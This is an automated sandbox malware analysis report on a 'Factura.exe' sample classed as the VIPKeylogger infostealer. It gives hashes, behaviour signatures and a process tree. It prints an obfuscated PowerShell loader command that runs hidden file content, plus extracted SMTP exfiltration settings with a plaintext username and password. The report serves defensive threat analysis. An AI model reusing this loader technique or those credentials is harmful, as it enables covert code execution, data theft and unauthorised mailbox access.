Analysis
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max time kernel
145s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
02-12-2024 13:11
General
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Target
Factura.exe
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Size
520KB
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MD5
bcda7dfe98c66a21374a3eac66703f68
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SHA1
e2113b5764f2fc16c4e1fcae6a214da4d4bb37eb
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SHA256
c424ae2e0e7fbe842e8ce8e0c2d36551ce718cda8df23a07b0af790145fcf554
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SHA512
4a3d54636e3c773b11de017f956a2d2301387b09ea72a3e5517e1596caecd8b750000debfdea216a04f11eb868306c280fc1936f5fee200cf95a62686fbc326d
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SSDEEP
12288:aIC0V1TyykYDamTi6kSywWmM7lEFvVPppyoS/B3FYA1Y+:MW1TyykYWmTi6XywWZEFZmz/lJV
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
smtp.ionos.es - Port:
587 - Username:
[email protected] - Password:
Nachete#2018 - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Factura.exe"C:\Users\Admin\AppData\Local\Temp\Factura.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Heksekedlers=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\postarmistice\monospermy\brevbombe\Wynds\Geobotanisk.Con';$Escapisms=$Heksekedlers.SubString(73017,3);.$Escapisms($Heksekedlers)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
71KB
MD5725601690e2a78f984e4ffc448eef039
SHA1defc66341b1b173373779d667535c65b86236f77
SHA2567671f74dd24c60ae152b1a2b781f3fb104d811ae853d7238fa3f4363ee0993eb
SHA512c9317b42da4fffd5d1b5d103a5ed12b38464c11b38ae63ce74bc777cc70f2d897581488d6799ea560ae7e19e2c5e8b4a1e8b1694e90f0842e59e0e893db3451e
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Filesize
302KB
MD59576a581f7f346e9d8ae69db6aa2462e
SHA1ed9154f982db92ee78e63270dc50d515cbd4eb0c
SHA256adce8c2847a3325a280ece211063820f48dbb7323fc9de5c305ef6bd4c7f0440
SHA512cad2388595b98709f25f01cf25397fd32e75a895003897608162d3ded95155ad3d58be9fdec8163133d0153ce284a7530a3d0281b5e0975e7e2dbf8e62bc02dc
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Filesize
18.3MB
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Filesize
18.3MB
-
Filesize
40KB
-
Filesize
584KB
-
Filesize
320KB
-
Filesize
1.8MB
-
Filesize
624KB
-
Filesize
288KB
-
Filesize
7.7MB
-
Filesize
32KB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
104KB
-
Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
-
Filesize
200KB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
652KB
-
Filesize
40KB
-
Filesize
408KB
-
Filesize
7.7MB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
-
Filesize
3.3MB
-
Filesize
168KB
-
Filesize
144KB
-
Filesize
7.7MB
-
Filesize
4KB
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Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
95.1MB
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Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
408KB
-
Filesize
136KB
-
Filesize
6.2MB
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Filesize
7.7MB
-
Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB